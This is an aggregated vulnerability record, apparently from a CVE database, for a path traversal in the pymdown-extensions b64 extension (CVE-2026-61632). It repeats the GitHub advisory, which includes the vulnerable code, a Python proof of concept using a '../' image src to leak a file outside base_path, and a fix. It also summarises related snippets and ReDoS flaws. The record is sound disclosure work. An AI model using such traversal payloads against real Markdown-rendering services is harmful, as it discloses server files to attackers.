{"id":"CVE-2026-61632","aliases":["DEBIAN-CVE-2026-61632","EUVD-2026-54149","GHSA-9xwg-3r6f-jcx2","OESA-2026-4182","OESA-2026-4183","OESA-2026-4184","PYSEC-2026-3609","UBUNTU-CVE-2026-61632"],"status":"published","title":"PyMdown Extensions: Path traversal in the b64 extension lets \u003cimg src\u003e read files outside base_path","description":"PyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u003cimg src=\"...\"\u003e by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file's contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00418,"percentile":0.36368,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-07-24T16:18:33Z","modified":"2026-10-28T02:30:27Z","fixes":[{"ecosystem":"PyPI","package":"pymdown-extensions","fixed_in":["11.0.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"pymdown-extensions","fixed_in":["11.0.1-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"10.21.3"},{"fixed":"11.0.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.11.2-1","10.13-1","10.13-2","10.13-3","10.13-4","10.19.1-1","10.19.1-3","10.8.1-1","10.9-1","11.0.1-1","9.5-2","9.5-3","9.5-4","9.5-5"]},{"source":"osv","ecosystem":"Debian:13","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.13-1","10.13-1+deb13u1","10.13-2","10.13-3","10.13-4","10.19.1-1","10.19.1-3","11.0.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.0.1-1"}]}],"versions":["10.13-1","10.13-2","10.13-3","10.13-4","10.19.1-1","10.19.1-3"]},{"source":"osv","ecosystem":"PyPI","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.0.0"}]}],"versions":["1.0.0","1.0.1","1.1","1.2","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","10.0","10.0.1","10.1","10.10","10.10.1","10.10.2","10.11","10.11.1","10.11.2","10.12","10.13","10.14","10.14.1","10.14.2","10.14.3","10.15","10.16","10.16.1","10.17","10.17.1","10.17.2","10.18","10.19","10.19.1","10.2","10.2.1","10.20","10.20.1","10.21","10.21.2","10.21.3","10.3","10.3.1","10.4","10.5","10.6","10.7","10.7.1","10.8","10.8.1","10.9","2.0","3.0","3.1","3.2","3.2.1","3.3","3.4","3.5","4.0","4.1","4.10","4.10.1","4.10.2","4.11","4.12","4.2","4.3","4.4","4.5","4.5.1","4.6","4.7","4.8","4.9","4.9.1","4.9.2","5.0","6.0","6.1","6.2","6.2.1","6.3","7.0","7.0b1","7.0b2","7.0rc1","7.0rc2","7.1","8.0","8.0.1","8.1","8.1.1","8.2","9.0","9.0.dev0","9.1","9.10","9.10a1","9.10a2","9.10a3","9.10b1","9.10b2","9.10b3","9.10b4","9.10b5","9.11","9.2","9.3","9.4","9.5","9.6","9.7","9.8","9.9","9.9.1","9.9.2"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7-3.oe2403sp4"}]}],"bundled":3},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7-3.oe2403sp1"}]}],"bundled":3},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7-3.oe2403sp3"}]}],"bundled":3},{"source":"osv","ecosystem":"PyPI","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.0.0"}]}],"versions":["1.0.0","1.0.1","1.1","1.2","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","10.0","10.0.1","10.1","10.10","10.10.1","10.10.2","10.11","10.11.1","10.11.2","10.12","10.13","10.14","10.14.1","10.14.2","10.14.3","10.15","10.16","10.16.1","10.17","10.17.1","10.17.2","10.18","10.19","10.19.1","10.2","10.2.1","10.20","10.20.1","10.21","10.21.2","10.21.3","10.3","10.3.1","10.4","10.5","10.6","10.7","10.7.1","10.8","10.8.1","10.9","2.0","3.0","3.1","3.2","3.2.1","3.3","3.4","3.5","4.0","4.1","4.10","4.10.1","4.10.2","4.11","4.12","4.2","4.3","4.4","4.5","4.5.1","4.6","4.7","4.8","4.9","4.9.1","4.9.2","5.0","6.0","6.1","6.2","6.2.1","6.3","7.0","7.0b1","7.0b2","7.0rc1","7.0rc2","7.1","8.0","8.0.1","8.1","8.1.1","8.2","9.0","9.0.dev0","9.1","9.10","9.10a1","9.10a2","9.10a3","9.10b1","9.10b2","9.10b3","9.10b4","9.10b5","9.11","9.2","9.3","9.4","9.5","9.6","9.7","9.8","9.9","9.9.1","9.9.2"]},{"source":"osv","ecosystem":"Ubuntu:14.04:LTS","package":"python-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3.1-1","2.3.1-2","2.4-1","2.4-1ubuntu0.14.04.1"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.1-7","1.0.1-8"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"python-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.6.2-1","2.6.3-1","2.6.4-1","2.6.5-1","2.6.5-2","2.6.6-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.1-9","1.0.1-10"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"python-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.6.9-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"python-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.1-2","3.1.1-2build1","3.1.1-3"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.1-10"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.1-10.1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"python-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.4-1","3.3.6-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.1-12"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"python-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.4-1","3.5.2-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.1-14"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.2-1","3.10.2-2","3.10.3-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.1-14"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.8.2-2","3.10-1","3.10-2","3.10.2-1"]}],"products":[{"vendor":"facelessuser","product":"pymdown-extensions"}],"references":[{"url":"https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-9xwg-3r6f-jcx2","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/facelessuser/pymdown-extensions/releases/tag/11.0","tags":["x_refsource_MISC","web","report"]},{"url":"https://github.com/facelessuser/pymdown-extensions/commit/edce35586d11a1ef78bb187bc60497fe6dbf3b64","tags":["web"]},{"url":"https://github.com/advisories/GHSA-9xwg-3r6f-jcx2","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/61xxx/CVE-2026-61632.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61632","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-61632","tags":["advisory"]},{"url":"https://github.com/facelessuser/pymdown-extensions","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4182","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46338","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67422","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4183","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4184","tags":["advisory"]},{"url":"https://pypi.org/project/pymdown-extensions","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-61632","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-61632","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-61632","title":"PyMdown Extensions: Path traversal in the b64 extension lets \u003cimg src\u003e read files outside base_path","description":"PyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u003cimg src=\"...\"\u003e by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file's contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.","status":"published","published":"2026-08-06T20:59:20.177Z","modified":"2026-08-07T17:09:02.752Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:19:53.4444Z"}],"euvd":[{"id":"EUVD-2026-54149","description":"PyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u003cimg src=\"...\"\u003e by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file's contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.","status":"published","published":"2026-08-06T20:59:20Z","modified":"2026-08-07T17:09:02Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:02:06.930016Z"}],"ghsa":[{"id":"GHSA-9xwg-3r6f-jcx2","title":"PyMdown Extensions: Path traversal in the b64 extension lets \u003cimg src\u003e read files outside base_path","description":"### Summary\n\nThe `b64` extension inlines images referenced by `\u003cimg src=\"...\"\u003e` as base64 data URIs. When resolving the `src` path it joins it onto the configured `base_path` with `os.path.normpath` and opens the result directly, with no check that the resolved path stays inside `base_path`. A `src` containing `../` sequences, or an absolute path, therefore reads a file outside `base_path` as long as that file has an allowed image extension (`.png`, `.jpg`, `.jpeg`, `.gif`, `.svg`). The base64 of that file is then embedded in the rendered output, disclosing its contents.\n\nThis is a separate code path from the `snippets` traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in `pymdownx/b64.py` and has no path restriction of any kind. Confirmed on `10.21.3` installed from PyPI.\n\n### Details\n\nIn `pymdownx/b64.py`, function `repl_path` (around lines 68 to 90 on `main`):\n\n```python\nif is_absolute:\n    file_name = os.path.normpath(path)                          # absolute src: base_path ignored entirely\nelse:\n    file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path\nif os.path.exists(file_name):\n    ext = os.path.splitext(file_name)[1].lower()\n    for b64_ext in file_types:\n        if ext in b64_ext:\n            with open(file_name, \"rb\") as f:                    # opened with no containment check\n                ...\n```\n\nThere is no `startswith(base_path)`, no `os.path.realpath` comparison, and no rejection of `..`. Both branches are reachable from an attacker-controlled `src`.\n\n### PoC\n\nReproduced against an unmodified `pymdown-extensions==10.21.3` from PyPI. The script creates a `base_path` directory and a PNG one level above it, then renders Markdown whose image `src` points outside `base_path`, and confirms the outside file's bytes appear base64-encoded in the output.\n\n```python\nimport base64, os, shutil, tempfile, markdown\n\nroot = tempfile.mkdtemp()\nbase_path = os.path.join(root, \"docs\"); os.makedirs(base_path)\noutside = os.path.join(root, \"secret\"); os.makedirs(outside)\n\npng = base64.b64decode(\n    \"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk\"\n    \"+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==\"\n)\nwith open(os.path.join(outside, \"secret.png\"), \"wb\") as f:\n    f.write(png)\n\nmd = markdown.Markdown(\n    extensions=[\"pymdownx.b64\"],\n    extension_configs={\"pymdownx.b64\": {\"base_path\": base_path}},\n)\nhtml = md.convert('\u003cimg src=\"../secret/secret.png\"\u003e')\n\nassert base64.b64encode(png).decode() in html, \"not leaked\"\nprint(\"LEAKED:\", html)\n```\n\nOutput:\n\n```\nLEAKED: \u003cp\u003e\u003cimg src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ...\"\u003e\u003c/p\u003e\n```\n\nThe base64 of a file outside `base_path` is present in the output. The absolute-path branch behaves the same way: an absolute `src` bypasses `base_path` entirely via `os.path.normpath(path)`. Both were confirmed leaking.\n\n### Impact\n\nAn application that renders untrusted Markdown with `pymdownx.b64` enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.\n\n### Suggested fix\n\nResolve the real path and require it to stay within `base_path` before opening:\n\n```python\nfile_name = os.path.realpath(os.path.join(base_path, path))\nbase_real = os.path.realpath(base_path)\nif file_name != base_real and not file_name.startswith(base_real + os.sep):\n    return m.group(0)  # leave the tag untouched; do not read outside base_path\n```\n\nThe same containment check should apply to the absolute-path branch rather than trusting an absolute `src`. Using `realpath` instead of `abspath` also closes the related symlink-following gap in the snippets handler.","status":"published","published":"2026-07-24T16:18:33Z","modified":"2026-07-24T16:18:34Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:52.46233Z"}],"nvd":[{"id":"CVE-2026-61632","description":"PyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u003cimg src=\"...\"\u003e by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file's contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.","status":"published","published":"2026-08-06T22:18:11.41Z","modified":"2026-10-24T16:10:00.153Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:35.386166Z"}],"osv":[{"id":"CVE-2026-61632","title":"PyMdown Extensions: Path traversal in the b64 extension lets \u003cimg src\u003e read files outside base_path","description":"PyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u003cimg src=\"...\"\u003e by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file's contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.","status":"published","published":"2026-08-06T20:59:20.177Z","modified":"2026-10-28T02:30:27.091584744Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:12.933503Z"},{"id":"DEBIAN-CVE-2026-61632","description":"PyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u003cimg src=\"...\"\u003e by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file's contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.","status":"published","published":"2026-08-06T22:18:11.41Z","modified":"2026-10-25T09:47:40.817175866Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:57.932517Z"},{"id":"GHSA-9xwg-3r6f-jcx2","title":"PyMdown Extensions: Path traversal in the b64 extension lets \u003cimg src\u003e read files outside base_path","description":"### Summary\n\nThe `b64` extension inlines images referenced by `\u003cimg src=\"...\"\u003e` as base64 data URIs. When resolving the `src` path it joins it onto the configured `base_path` with `os.path.normpath` and opens the result directly, with no check that the resolved path stays inside `base_path`. A `src` containing `../` sequences, or an absolute path, therefore reads a file outside `base_path` as long as that file has an allowed image extension (`.png`, `.jpg`, `.jpeg`, `.gif`, `.svg`). The base64 of that file is then embedded in the rendered output, disclosing its contents.\n\nThis is a separate code path from the `snippets` traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in `pymdownx/b64.py` and has no path restriction of any kind. Confirmed on `10.21.3` installed from PyPI.\n\n### Details\n\nIn `pymdownx/b64.py`, function `repl_path` (around lines 68 to 90 on `main`):\n\n```python\nif is_absolute:\n    file_name = os.path.normpath(path)                          # absolute src: base_path ignored entirely\nelse:\n    file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path\nif os.path.exists(file_name):\n    ext = os.path.splitext(file_name)[1].lower()\n    for b64_ext in file_types:\n        if ext in b64_ext:\n            with open(file_name, \"rb\") as f:                    # opened with no containment check\n                ...\n```\n\nThere is no `startswith(base_path)`, no `os.path.realpath` comparison, and no rejection of `..`. Both branches are reachable from an attacker-controlled `src`.\n\n### PoC\n\nReproduced against an unmodified `pymdown-extensions==10.21.3` from PyPI. The script creates a `base_path` directory and a PNG one level above it, then renders Markdown whose image `src` points outside `base_path`, and confirms the outside file's bytes appear base64-encoded in the output.\n\n```python\nimport base64, os, shutil, tempfile, markdown\n\nroot = tempfile.mkdtemp()\nbase_path = os.path.join(root, \"docs\"); os.makedirs(base_path)\noutside = os.path.join(root, \"secret\"); os.makedirs(outside)\n\npng = base64.b64decode(\n    \"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk\"\n    \"+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==\"\n)\nwith open(os.path.join(outside, \"secret.png\"), \"wb\") as f:\n    f.write(png)\n\nmd = markdown.Markdown(\n    extensions=[\"pymdownx.b64\"],\n    extension_configs={\"pymdownx.b64\": {\"base_path\": base_path}},\n)\nhtml = md.convert('\u003cimg src=\"../secret/secret.png\"\u003e')\n\nassert base64.b64encode(png).decode() in html, \"not leaked\"\nprint(\"LEAKED:\", html)\n```\n\nOutput:\n\n```\nLEAKED: \u003cp\u003e\u003cimg src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ...\"\u003e\u003c/p\u003e\n```\n\nThe base64 of a file outside `base_path` is present in the output. The absolute-path branch behaves the same way: an absolute `src` bypasses `base_path` entirely via `os.path.normpath(path)`. Both were confirmed leaking.\n\n### Impact\n\nAn application that renders untrusted Markdown with `pymdownx.b64` enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.\n\n### Suggested fix\n\nResolve the real path and require it to stay within `base_path` before opening:\n\n```python\nfile_name = os.path.realpath(os.path.join(base_path, path))\nbase_real = os.path.realpath(base_path)\nif file_name != base_real and not file_name.startswith(base_real + os.sep):\n    return m.group(0)  # leave the tag untouched; do not read outside base_path\n```\n\nThe same containment check should apply to the absolute-path branch rather than trusting an absolute `src`. Using `realpath` instead of `abspath` also closes the related symlink-following gap in the snippets handler.","status":"published","published":"2026-07-24T16:18:33Z","modified":"2026-09-10T03:51:11.365684709Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:44.225359Z"},{"id":"OESA-2026-4182","title":"python-pymdown-extensions security update","description":"Extension pack for Python Markdown.\r\n\r\nSecurity Fix(es):\n\nPyMdown Extensions is a set of extensions for the Python-Markdown markdown project. From 10.0.1 until 10.21.3, pymdownx.snippets uses a string-prefix containment check in SnippetPreprocessor.get_snippet_path() in pymdownx/snippets.py when `restrict_base_path: True`, allowing markdown snippet directives to read files from sibling paths that share the same base_path prefix, such as docs and docs_internal. This is a regression of CVE-2023-32309. This issue is fixed in version 10.21.3.(CVE-2026-46338)\n\nPyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u0026lt;img src=\u0026quot;...\u0026quot;\u0026gt; by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file\u0026apos;s contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.(CVE-2026-61632)\n\npymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension\u0026apos;s default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.(CVE-2026-67422)","status":"published","published":"2026-09-30T13:47:22Z","modified":"2026-10-01T02:00:07.617204605Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"OESA-2026-4183","title":"python-pymdown-extensions security update","description":"Extension pack for Python Markdown.\r\n\r\nSecurity Fix(es):\n\nPyMdown Extensions is a set of extensions for the Python-Markdown markdown project. From 10.0.1 until 10.21.3, pymdownx.snippets uses a string-prefix containment check in SnippetPreprocessor.get_snippet_path() in pymdownx/snippets.py when `restrict_base_path: True`, allowing markdown snippet directives to read files from sibling paths that share the same base_path prefix, such as docs and docs_internal. This is a regression of CVE-2023-32309. This issue is fixed in version 10.21.3.(CVE-2026-46338)\n\nPyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u0026lt;img src=\u0026quot;...\u0026quot;\u0026gt; by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file\u0026apos;s contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.(CVE-2026-61632)\n\npymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension\u0026apos;s default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.(CVE-2026-67422)","status":"published","published":"2026-09-30T13:47:23Z","modified":"2026-10-01T02:00:06.915388189Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"OESA-2026-4184","title":"python-pymdown-extensions security update","description":"Extension pack for Python Markdown.\r\n\r\nSecurity Fix(es):\n\nPyMdown Extensions is a set of extensions for the Python-Markdown markdown project. From 10.0.1 until 10.21.3, pymdownx.snippets uses a string-prefix containment check in SnippetPreprocessor.get_snippet_path() in pymdownx/snippets.py when `restrict_base_path: True`, allowing markdown snippet directives to read files from sibling paths that share the same base_path prefix, such as docs and docs_internal. This is a regression of CVE-2023-32309. This issue is fixed in version 10.21.3.(CVE-2026-46338)\n\nPyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u0026lt;img src=\u0026quot;...\u0026quot;\u0026gt; by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file\u0026apos;s contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.(CVE-2026-61632)\n\npymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each 